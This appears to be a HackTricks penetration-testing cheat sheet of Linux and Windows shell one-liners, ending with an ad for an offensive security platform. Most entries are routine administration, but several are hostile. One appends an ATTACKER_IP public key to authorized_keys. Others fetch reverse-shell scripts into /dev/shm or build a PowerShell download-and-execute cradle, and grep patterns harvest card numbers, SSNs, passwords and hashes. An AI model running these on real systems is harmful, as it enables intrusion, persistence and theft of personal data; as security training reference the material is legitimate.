Useful Linux Commands

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Common Bash

#Exfiltration using Base64
base64 -w 0 file

#Get HexDump without new lines
xxd -p boot12.bin | tr -d '\n'

#Add public key to authorized keys
curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys

#Echo without new line and Hex
echo -n -e

#Count
wc -l <file> #Lines
wc -c #Chars

#Sort
sort -nr #Sort by number and then reverse
cat file | sort | uniq #Sort and delete duplicates

#Replace in file
sed -i 's/OLD/NEW/g' path/file #Replace string inside a file

#Download in RAM
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py

#Files used by network processes
lsof #Open files belonging to any process
lsof -p 3 #Open files used by the process
lsof -i #Files used by networks processes
lsof -i 4 #Files used by network IPv4 processes
lsof -i 6 #Files used by network IPv6 processes
lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234
lsof +D /lib #Processes using files inside the indicated dir
lsof -i :80 #Files uses by networks processes
fuser -nv tcp 80

#Decompress
tar -xvzf /path/to/yourfile.tgz
tar -xvjf /path/to/yourfile.tbz
bzip2 -d /path/to/yourfile.bz2
tar jxf file.tar.bz2
gunzip /path/to/yourfile.gz
unzip file.zip
7z -x file.7z
sudo apt-get install xz-utils; unxz file.xz

#Add new user
useradd -p 'openssl passwd -1 <Password>' hacker  

#Clipboard
xclip -sel c < cat file.txt

#HTTP servers
python -m SimpleHTTPServer 80
python3 -m http.server
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
php -S $ip:80

#Curl
#json data
curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint
#Auth via JWT
curl -X GET -H 'Authorization: Bearer <JWT>' http://host:3000/endpoint

#Send Email
sendEmail -t [e-mail] -f [e-mail] -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content

#DD copy hex bin file without first X (28) bytes
dd if=file.bin bs=28 skip=1 of=blob

#Mount .vhd files (virtual hard drive)
sudo apt-get install libguestfs-tools
guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd

# ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys
ssh-keyscan 10.10.10.101

# Openssl
openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server
openssl x509 -in ca.cert.pem -text #Read certificate
openssl genrsa -out newuser.key 2048 #Create new RSA2048 key
openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" ([e-mail])
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate
openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate
openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox)
# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using:
openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12
# Decrypt ssh key
openssl rsa -in key.ssh.enc -out key.ssh
#Decrypt
openssl enc -aes256 -k <KEY> -d -in backup.tgz.enc -out b.tgz

#Count number of instructions executed by a program, need a host based linux (not working in VM)
perf stat -x, -e instructions:u "ls"

#Find trick for HTB, find files from 2018-12-12 to 2018-12-14
find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null

#Reconfigure timezone
sudo dpkg-reconfigure tzdata

#Search from which package is a binary
apt-file search /usr/bin/file #Needed: apt-get install apt-file

#Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html
echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw

#Set not removable bit
sudo chattr +i file.txt
sudo chattr -i file.txt #Remove the bit so you can delete it

# List files inside zip
7z l file.zip

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Bash for Windows

#Base64 for Windows
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
 
#Exe compression
upx -9 nc.exe

#Exe2bat
wine exe2bat.exe nc.exe nc.txt

#Compile Windows python exploit to exe
pip install pyinstaller
wget -O exploit.py http://www.exploit-db.com/download/31853  
python pyinstaller.py --onefile exploit.py

#Compile for windows
#sudo apt-get install gcc-mingw-w64-i686
i686-mingw32msvc-gcc -o executable useradd.c

Greps

#Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt

#Extract valid IP addresses
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt

#Extract passwords
grep -i "pwd\|passw" file.txt

#Extract users
grep -i "user\|invalid\|authentication\|login" file.txt

# Extract hashes
#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128})
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt
#Extract valid MySQL-Old hashes
grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt
#Extract blowfish hashes
grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt
#Extract Joomla hashes
egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt
#Extract VBulletin hashes
egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt
#Extraxt phpBB3-MD5
egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt
#Extract Wordpress-MD5
egrep -o '$P$S{31}' *.txt > wordpress-md5.txt
#Extract Drupal 7
egrep -o '$S$S{52}' *.txt > drupal-7.txt
#Extract old Unix-md5
egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt
#Extract md5-apr1
egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt
#Extract sha512crypt, SHA512(Unix)
egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt

#Extract e-mails from text files
grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt

#Extract HTTP URLs from text files
grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt
#For extracting HTTPS, FTP and other URL format use
grep -E '(((https|ftp|gopher)|mailto)[.:][^ >"	]*|www.[-a-z0-9.]+)[^ .,;	>">):]' *.txt > urls.txt
#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex"

#Extract Floating point numbers
grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt

# Extract credit card data
#Visa
grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt
#MasterCard
grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt
#American Express
grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt
#Diners Club
grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt
#Discover
grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt
#JCB
grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt
#AMEX
grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt

# Extract IDs
#Extract Social Security Number (SSN)
grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt
#Extract Indiana Driver License Number
grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt
#Extract US Passport Cards
grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt
#Extract US Passport Number
grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt
#Extract US Phone Numberss
grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
#Extract ISBN Numbers
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt

Find

# Find SUID set files.
find / -perm /u=s -ls 2>/dev/null

# Find SGID set files.
find / -perm /g=s -ls 2>/dev/null

# Found Readable directory and sort by time.  (depth = 4)
find / -type d -maxdepth 4 -readable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot"  | grep -v "| /sys/" | sort -n -r

# Found Writable directory and sort by time.  (depth = 10)
find / -type d -maxdepth 10 -writable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot"  | grep -v "| /sys/" | sort -n -r

# Or Found Own by Current User and sort by time. (depth = 10)
find / -maxdepth 10 -user $(id -u) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot"  | grep -v "| /sys/" | sort -n -r

# Or Found Own by Current Group ID and Sort by time. (depth = 10)
find / -maxdepth 10 -group $(id -g) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot"  | grep -v "| /sys/" | sort -n -r

# Found Newer files and sort by time. (depth = 5)
find / -maxdepth 5 -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot"  | grep -v "| /sys/" | sort -n -r | less

# Found Newer files only and sort by time. (depth = 5)
find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot"  | grep -v "| /sys/" | sort -n -r | less

# Found Newer directory only and sort by time. (depth = 5)
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot"  | grep -v "| /sys/" | sort -n -r | less

Nmap search help

#Nmap scripts ((default or version) and smb))
nmap --script-help "(default or version) and *smb*"
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
nmap --script-help "(default or version) and smb)"

Bash

#All bytes inside a file (except 0x20 and 0x00)
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done

Iptables

#Delete curent rules and chains
iptables --flush
iptables --delete-chain

#allow loopback
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT

#drop ICMP
iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP
iptables -A OUTPUT -p icmp -j DROP

#allow established connections
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT

#allow ssh, http, https, dns
iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT
iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT

#default policies
iptables -P INPUT DROP
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

All-in-One Offensive Security Platform | Trickest, Inc. | Trickesttrickest.com